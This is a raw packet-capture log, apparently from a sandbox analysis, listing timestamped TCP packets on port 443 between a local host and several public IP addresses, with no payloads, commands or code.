Nov 23, 2024 21:59:20.355725050 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.355746984 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.355792046 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.355808020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.355848074 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.355866909 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.357454062 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.357477903 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.357528925 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.357537031 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.357569933 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.357595921 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.363651037 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.363725901 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.363733053 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.363797903 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.366333961 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.366350889 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.366413116 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.366422892 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.366497993 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.371239901 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.371262074 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.371301889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.371309996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.371351004 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.371372938 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.374161005 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.374229908 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.374242067 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.374536991 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.376455069 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.376471996 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.376564026 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.376564026 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.376578093 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.376678944 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.382800102 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.382821083 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.382872105 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.382879972 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.382936001 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.386450052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.386465073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.386559963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.386570930 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.387039900 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.396125078 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396178007 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396212101 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.396219015 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396272898 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.396365881 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396383047 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396440029 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.396455050 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.396495104 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403502941 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403518915 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403589964 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403614998 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403625011 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403676987 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403683901 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403712034 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403736115 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403742075 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403775930 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.403795004 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.403832912 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.409399033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.409413099 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.409475088 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.409482956 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.409534931 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.413634062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.413669109 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.413711071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.413722992 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.413754940 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.413775921 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.415549994 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.415570974 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.415652037 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.416357994 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.416369915 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.464181900 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.464291096 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.464299917 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.464359045 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.470884085 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.470952988 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.470969915 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.471030951 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.479348898 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.479414940 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.479424000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.479495049 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.485518932 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.485754967 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.485763073 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.485898972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.491697073 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.491816044 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.491823912 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.491954088 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.499476910 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.499617100 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.499624968 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.499696970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.505290985 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.505389929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.505398035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.505481005 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.508296013 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.508327961 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.508410931 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.508424044 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.508446932 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.508510113 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.511142969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.511333942 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.511339903 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.511408091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.516305923 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.516372919 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.516379118 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.516432047 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.516546011 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.516562939 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.516666889 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.516666889 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.516681910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.516755104 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.520128965 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.520210028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.520216942 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.520265102 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.523376942 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.523392916 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.523430109 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.523464918 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.523474932 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.523602009 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.523607969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.523628950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.523648024 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.526827097 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.526957989 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.526968002 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.527028084 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.531140089 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.531140089 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.531157017 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.531256914 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.531266928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.531306028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.531311035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.531317949 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.531387091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.534409046 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.534538984 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.534545898 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.534807920 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.537733078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.537813902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.537820101 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.537915945 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.538954020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.538974047 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.539051056 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.539060116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.539096117 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.539096117 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.542262077 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.546221018 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.546237946 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.546327114 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.546339989 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.546545029 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.553997040 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.554014921 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.554115057 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.554115057 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.554124117 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.554471016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.560833931 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.560851097 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.560930014 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.560940027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.560992956 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.572343111 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.584932089 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.610476017 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.610488892 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.611282110 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.611288071 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.612468004 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.614434958 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.614447117 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.615168095 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.615174055 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.616261005 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.635379076 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.635392904 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.636931896 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.636940002 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.637931108 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.638267040 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.638310909 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.638396025 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.638819933 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.638834953 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.639236927 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.639256001 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.640731096 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.640737057 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.673688889 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.673842907 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.673852921 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.674004078 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.677304029 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.677392960 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.677400112 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.677463055 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.680562973 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.680686951 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.680694103 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.680779934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.683926105 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.684019089 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.684027910 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.684144974 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.688283920 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.688359022 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.688365936 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.688411951 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.691591978 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.691757917 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.691766024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.691864967 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.695040941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.695189953 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.695197105 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.695246935 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.699321032 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.699393034 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.699398994 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.699455023 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.700546026 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.700572968 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.700651884 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.700663090 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.700725079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.700725079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.702713013 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.702801943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.702807903 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.702864885 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.705986977 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.706059933 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.706067085 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.706135988 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.707017899 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.707035065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.707113981 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.707123995 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.707195044 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.709808111 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.709913969 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.709920883 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.710062981 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.714118004 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.714210987 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.714217901 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.714350939 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.714926958 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.714936972 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.714955091 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.714973927 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.715070963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.715070963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.715085030 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.715106964 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.715189934 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.715336084 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.715354919 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.717417002 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.717546940 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.717552900 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.717597008 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.720791101 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.720884085 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.720895052 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.720963001 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.722624063 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.722791910 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.725136995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.725248098 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.725255013 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.725363970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.728431940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.728514910 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.728522062 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.728576899 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.770781994 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.813508034 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.833462000 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.833472013 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.834173918 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.834181070 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.844572067 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.844635010 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.844717026 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.846486092 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:20.846504927 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:20.884205103 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.884377956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.884387016 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.884449959 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.887821913 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.887928009 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.887934923 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.888005972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.891308069 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.891446114 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.891453981 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.891510010 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.894509077 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.894593000 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.894603014 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.894669056 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.898857117 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.898955107 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.898961067 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.899048090 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.902244091 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.902326107 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.931329966 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.931624889 CET	49730	443	192.168.2.6	150.171.27.10
